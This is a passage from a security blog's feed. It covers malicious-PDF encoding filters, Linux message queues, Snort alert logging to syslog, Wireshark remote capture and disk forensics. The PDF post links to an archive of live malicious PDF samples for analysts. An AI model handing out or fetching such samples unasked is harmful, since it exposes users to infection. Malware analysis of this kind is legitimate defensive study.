class="MsoNormal"&gt;/ASCIIHexDecode&lt;/div&gt;&lt;div class="MsoNormal"&gt;/ASCII85Decode&lt;/div&gt;&lt;div class="MsoNormal"&gt;/JBIG2Decode&lt;/div&gt;&lt;div class="MsoNormal"&gt;/LZWDecode&lt;/div&gt;&lt;div class="MsoNormal"&gt;/RunLengthDecode&lt;/div&gt;&lt;div class="MsoNormal"&gt;/SCIIHexDecode,&amp;nbsp;&lt;/div&gt;&lt;div class="MsoNormal"&gt;/CCITTFaxDecode&lt;/div&gt;&lt;div class="MsoNormal"&gt;/DCTDecode&lt;/div&gt;&lt;div class="MsoNormal"&gt;/JPXDecode&lt;/div&gt;&lt;div class="MsoNormal"&gt;This might not be the full list of Filters (not sure) .&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;Below snapshot shows highly obfuscated&amp;nbsp; PDF file&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-O6wu_PdFFlY/TowNDFMWr-I/AAAAAAAAAU4/OqwoYCLebNw/s1600/highlyObfuscatedPDF.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="283" src="http://1.bp.blogspot.com/-O6wu_PdFFlY/TowNDFMWr-I/AAAAAAAAAU4/OqwoYCLebNw/s320/highlyObfuscatedPDF.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;Good articles related to PDF's can be found at&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://blog.didierstevens.com/category/pdf/"&gt;http://blog.didierstevens.com/category/pdf/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.decalage.info/file_formats_security/pdf%20"&gt;http://www.decalage.info/file_formats_security/pdf &lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://code.google.com/p/corkami/wiki/PDFTricks"&gt;http://code.google.com/p/corkami/wiki/PDFTricks&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;For quick analysis of a PDF file you can upload to&lt;br /&gt;&lt;a href="http://wepawet.cs.ucsb.edu/"&gt;http://wepawet.cs.ucsb.edu/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;Live malicious PDF files can be found at&lt;br /&gt;&lt;b&gt;http://filex.jeek.org/archive_PDF.zip&lt;/b&gt;&lt;br /&gt;Please do not open files in the archive with any of the PDF readers.&lt;br /&gt;&lt;br /&gt;Comments are most welcome :) !!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-7345829437435231072?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/7345829437435231072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2011/09/portable-document-files.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/7345829437435231072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/7345829437435231072'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2011/09/portable-document-files.html' title='Malicious PDF: Portable Document Files Compresion/Encoding/Obfuscation'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-gYV5ZA46U2o/TnCz0wAtrCI/AAAAAAAAAUI/6HXCo5hrd84/s72-c/maliciousPDF_ver_junkdata_encodedComment.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-5786535728830511456</id><published>2011-07-23T22:33:00.008+05:30</published><updated>2011-07-23T23:28:19.682+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='message queues'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Message Queues- An Introduction</title><content type='html'>&lt;div style="text-align: justify;"&gt;Processes can exchange messages using Message Queues. Sending process message is saved in a queue, Receiving process reads the message from queue.&lt;/div&gt;&lt;br /&gt;Below program sends message to queue. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;a href="http://3.bp.blogspot.com/-IB4q3gVlZX4/Tir-aPb5aOI/AAAAAAAAATU/Q2CSxChmbIc/s1600/msg_snd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/-IB4q3gVlZX4/Tir-aPb5aOI/AAAAAAAAATU/Q2CSxChmbIc/s400/msg_snd.png" width="276" /&gt; &lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Below snapshot is the code for receiving process which reads message from queue. &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-3I-1oka9ryo/TisAXYTFLbI/AAAAAAAAATY/raSHfA5wSmE/s1600/msg_recv.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/-3I-1oka9ryo/TisAXYTFLbI/AAAAAAAAATY/raSHfA5wSmE/s400/msg_recv.png" width="306" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Compiling msg_snd.c:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;#gcc msg_snd.c -o msg_snd&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Compiling msg_recv.c:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;#gcc msg_recv.c -o msg_recv&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;b&gt;Output:&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Snapshot below&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-cPBSpj8sz0s/TisCZtoLb9I/AAAAAAAAATc/wfo02ryRxiM/s1600/msgqueue_state.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-cPBSpj8sz0s/TisCZtoLb9I/AAAAAAAAATc/wfo02ryRxiM/s320/msgqueue_state.png" width="259" /&gt;&lt;/a&gt;&lt;/div&gt;To check the state of Message Queues run &lt;b&gt;ipcs -q&lt;/b&gt; command.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Pointers:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;1. Include headers&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; sys/types.h &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys/ipc.h&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys/msg.h&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;2.&amp;nbsp; msgq_id (message id) is an arbitrary number of type int generated by msgget() which should be passed as parameter/argument to msgsnd(), msgrcv()&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;msgq_id can also be generated using &lt;b&gt;ftok()&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;3. key (key_t is of type int) is another arbitrary number. Same key value must be passed as parameter/argument to msgsnd() and msgrcv().&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;4. Message Type (mtype) is another arbitrary number. Same mtype should be passed as parameter/argument to msgsnd(), msgrcv()&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;5. mtype is passed as struct mbuf argument to msgsnd(), and long type to msgrcv()&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;6. for man page of any API run &lt;b&gt;man&lt;/b&gt; command e.g.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; man 2 msgsnd&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; man ipcs &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;This is pretty high-level overview of Message Queues.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Feel free to drop a comment.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-5786535728830511456?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/5786535728830511456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2011/07/message-queues-introduction.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5786535728830511456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5786535728830511456'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2011/07/message-queues-introduction.html' title='Message Queues- An Introduction'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-IB4q3gVlZX4/Tir-aPb5aOI/AAAAAAAAATU/Q2CSxChmbIc/s72-c/msg_snd.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-6488934693164791735</id><published>2011-05-07T13:55:00.006+05:30</published><updated>2012-02-07T21:57:58.326+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffing'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS/IPS'/><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><title type='text'>Snort: Logging Alerts to Syslog Server</title><content type='html'>Life is so busy. It's been pretty long since my last post. Well coming to the post :) ...&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;We will get into configuration details of Syslog and Snort to log our alerts into Kiwi Syslog Server.&lt;/div&gt;&lt;br /&gt;Add the following line to Snort configuration file&lt;br /&gt;&amp;nbsp;output &lt;b&gt;alert_syslog:&lt;/b&gt; host=172.16.232.161:514, LOG_AUTH LOG_ALERT&lt;br /&gt;Snort configuration file can be found at&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /etc/snort/snort.conf&lt;br /&gt;&lt;div style="text-align: justify;"&gt;In my case Snort is running on 3.3.3.9 on eth1 and eth0 is assigned with 172.16.232.171 IP which talks with Syslog Server.&lt;/div&gt;&lt;br /&gt;Following command is used to run Snort&lt;br /&gt;&lt;b&gt;&amp;nbsp;snort -c /etc/snort/snort.conf -i eth1&lt;/b&gt;&lt;br /&gt;-c&amp;nbsp;&amp;nbsp;&amp;nbsp; provide snort configuration file path&lt;br /&gt;-i&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; interface on which Snort is sniffing the traffic&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-ZmAskt1ckH4/TcT-TWDf2pI/AAAAAAAAAQQ/6q1oL7OKWh0/s1600/snort_running+successfully.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-ZmAskt1ckH4/TcT-TWDf2pI/AAAAAAAAAQQ/6q1oL7OKWh0/s320/snort_running+successfully.jpg" width="316" /&gt;&lt;/a&gt;&lt;/div&gt;Output shown in above figure is seen when the Snort command is successful.&lt;br /&gt;&lt;br /&gt;Modify syslog configuration file&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /etc/rsyslog.conf&lt;br /&gt;by adding line&lt;br /&gt;*.*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @172.16.232.161:514&lt;br /&gt;&lt;div style="text-align: justify;"&gt;where 172.16.232.161 is the Syslog Server IP Address and UDP/514 is the port on which it is listening.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;*.* says log all types of alerts. &lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To make sure that Syslog Server is running on UDP/514 port uncomment below lines in the configuration file&lt;/div&gt;&lt;div style="text-align: justify;"&gt;$ModLoad imudp.so&lt;/div&gt;&lt;div style="text-align: justify;"&gt;$UDPServerRun 514&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Above lines are commented by default.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Once the modified configuration is saved restart the Syslog daemon&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;&lt;b&gt;/etc/rc.d/init.d/rsyslog restart&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Make sure to stop firewall or add rule to allow traffic on UDP/514 port.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;When we send malicious payload or replay PCAP with malicious traffic on the interface where snort is running, we can see alerts in our Kiwi Syslog Server which is installed on Windows XP machine (172.16.232.161).&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ikBSF5O_h9g/TcUAeAXrNmI/AAAAAAAAAQU/Qw8gA-Oz7fo/s1600/syslog_snort_alerts.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="140" src="http://1.bp.blogspot.com/-ikBSF5O_h9g/TcUAeAXrNmI/AAAAAAAAAQU/Qw8gA-Oz7fo/s320/syslog_snort_alerts.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Below is the Packet Capture format when Snort sends alerts to Syslog Server.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-mKFJaa8e0OE/TcUBRolPEYI/AAAAAAAAAQY/czvJ2pJJoJc/s1600/syslog_packetcapture.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://2.bp.blogspot.com/-mKFJaa8e0OE/TcUBRolPEYI/AAAAAAAAAQY/czvJ2pJJoJc/s320/syslog_packetcapture.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Refer Snort Manual and/or Snort FAQ for further details.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hope this will help someone somewhere.&lt;br /&gt;Enjoy :) !!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-6488934693164791735?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/6488934693164791735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2011/05/snort-logging-alerts-to-syslog-server.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/6488934693164791735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/6488934693164791735'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2011/05/snort-logging-alerts-to-syslog-server.html' title='Snort: Logging Alerts to Syslog Server'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-ZmAskt1ckH4/TcT-TWDf2pI/AAAAAAAAAQQ/6q1oL7OKWh0/s72-c/snort_running+successfully.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-3268353784528055570</id><published>2010-11-29T22:49:00.009+05:30</published><updated>2012-02-07T21:49:06.374+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Sniffing'/><category scheme='http://www.blogger.com/atom/ns#' term='Wireshark'/><title type='text'>Wireshark: Remote Packet Capture, bit of Security</title><content type='html'>&lt;div style="text-align: justify;"&gt;Wireshark/Ethereal is one of the best open source tools we have. I don't think there will be individuals working in Networking domain (especially into IDS/IPS, Firewalls etc.) and don't know Wireshark/tcpdump. Please I wanna see u guys/gals ;-)&lt;br /&gt;&lt;br /&gt;There are many features available in Wireshark, we are going to focus on remote packet capture.&lt;br /&gt;&lt;br /&gt;Need Wireshark Version 1.4.2 with the new WinPcap available inbuilt with it. Install this on bothe the machines, where you are going to take capture (client) and on the machine where we want to sniff the traffic(server). On Server we need to start "Remote Packet Capture Protocol v.0 (experimental)" service, which will open TCP Port 2002 on the Server.&lt;/div&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TPPjnvHcCkI/AAAAAAAAANo/WQ5LELNJQkY/s1600/rpcap_service_port.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545025838025280066" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TPPjnvHcCkI/AAAAAAAAANo/WQ5LELNJQkY/s320/rpcap_service_port.jpg" style="cursor: pointer; display: block; height: 118px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Once the service is started, run wireshark on the Client machine. Goto Capture-&amp;gt;Options. Clicking Options will pop up a window shown below.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TPPlBqTj_8I/AAAAAAAAANw/28C6_V4FNh0/s1600/cpature_opt_remote.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545027382922182594" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TPPlBqTj_8I/AAAAAAAAANw/28C6_V4FNh0/s320/cpature_opt_remote.jpg" style="cursor: pointer; display: block; height: 318px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;In this window we can see Interface field on the top left corner which has drop down menu, from this menu select "Remote" option which will pop one more window asking for details like Host: (Enter IP Address), Port:, enter 2002 here.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Authentication:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For logging onto Server to take packet capture we need to successfully authenticate to server.&lt;/div&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TPPrgVC4djI/AAAAAAAAAOI/ijlQitqEJjE/s1600/Authentication.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545034506860787250" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/TPPrgVC4djI/AAAAAAAAAOI/ijlQitqEJjE/s320/Authentication.jpg" style="cursor: pointer; display: block; height: 306px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Under Authentication, opt for Password authentication, Null authentication is not supported which might throw below error.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TPPp9pIYfAI/AAAAAAAAAN4/_wk3zm-0Vd4/s1600/NULL_Auth.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545032811445517314" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TPPp9pIYfAI/AAAAAAAAAN4/_wk3zm-0Vd4/s320/NULL_Auth.jpg" style="cursor: pointer; display: block; height: 128px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Once the Authentication is successfull you can select one of the interfaces on the Server if there are multiple for sniffing.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TPPqpGLvY9I/AAAAAAAAAOA/dB3DPbhN57s/s1600/Interfaces.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545033557978604498" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TPPqpGLvY9I/AAAAAAAAAOA/dB3DPbhN57s/s320/Interfaces.jpg" style="cursor: pointer; display: block; height: 304px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Security:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Well, this is one of the awesome features Wireshark has given to its users. But the downside is, log in credentials traversing the network in clear text. Atleast they would have provided basic encryption/ encoding techniques to hide password.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TPPuaR0mVaI/AAAAAAAAAOQ/FFFFCt-Lfjs/s1600/cleartext_auth.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545037701451240866" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TPPuaR0mVaI/AAAAAAAAAOQ/FFFFCt-Lfjs/s320/cleartext_auth.jpg" style="cursor: pointer; display: block; height: 192px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Exposing all the interfaces of a multi homed Server, it's IP Addresses etc.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TPPwz9AQdZI/AAAAAAAAAOY/NToN6d7m0Ys/s1600/exposing_interfaces.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5545040341562848658" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/TPPwz9AQdZI/AAAAAAAAAOY/NToN6d7m0Ys/s320/exposing_interfaces.jpg" style="cursor: pointer; display: block; height: 182px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;Hope this post and feature will be very helpful for you :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-3268353784528055570?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/3268353784528055570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2010/11/wireshark-remote-packet-capture-bit-of.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/3268353784528055570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/3268353784528055570'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2010/11/wireshark-remote-packet-capture-bit-of.html' title='Wireshark: Remote Packet Capture, bit of Security'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_SQ_PsgPnt_w/TPPjnvHcCkI/AAAAAAAAANo/WQ5LELNJQkY/s72-c/rpcap_service_port.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-7649396274754657989</id><published>2010-10-02T20:08:00.016+05:30</published><updated>2012-02-07T21:50:32.865+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='Sleuth Kit'/><title type='text'>Forensics 2: Identifying  File System and Extracting it</title><content type='html'>The advantages of analyzing disk images are that the investigators can:&lt;br /&gt;a) preserve the digital crime-scene&lt;br /&gt;b) obtain the information in slack space&lt;br /&gt;c) access unallocated space, free space, and used space&lt;br /&gt;d) recover file fragments, hidden or deleted files and directories&lt;br /&gt;e) view the partition structure and&lt;br /&gt;f) get date-stamp and ownership of files and folders.&lt;br /&gt;&lt;br /&gt;Here we will try to concentrate on extracting the File System if any from the image for analysis available from the Crime Scene.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Lets check the md5 hash of the image under analysis for integrity purposes. The md5 hash algorithm produces a 128 bit “fingerprint” of a file, also known as a message digest. To view the md5 hash value assigned to a given file, the md5sum utility can be used.&lt;a href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdE72InTiI/AAAAAAAAAMc/hqXycRnoLzc/s1600/md5.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523459262927818274" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/TKdE72InTiI/AAAAAAAAAMc/hqXycRnoLzc/s320/md5.jpg" style="cursor: pointer; display: block; height: 50px; margin: 0px auto 10px; text-align: center; width: 417px;" /&gt;&lt;/a&gt;Lets check the 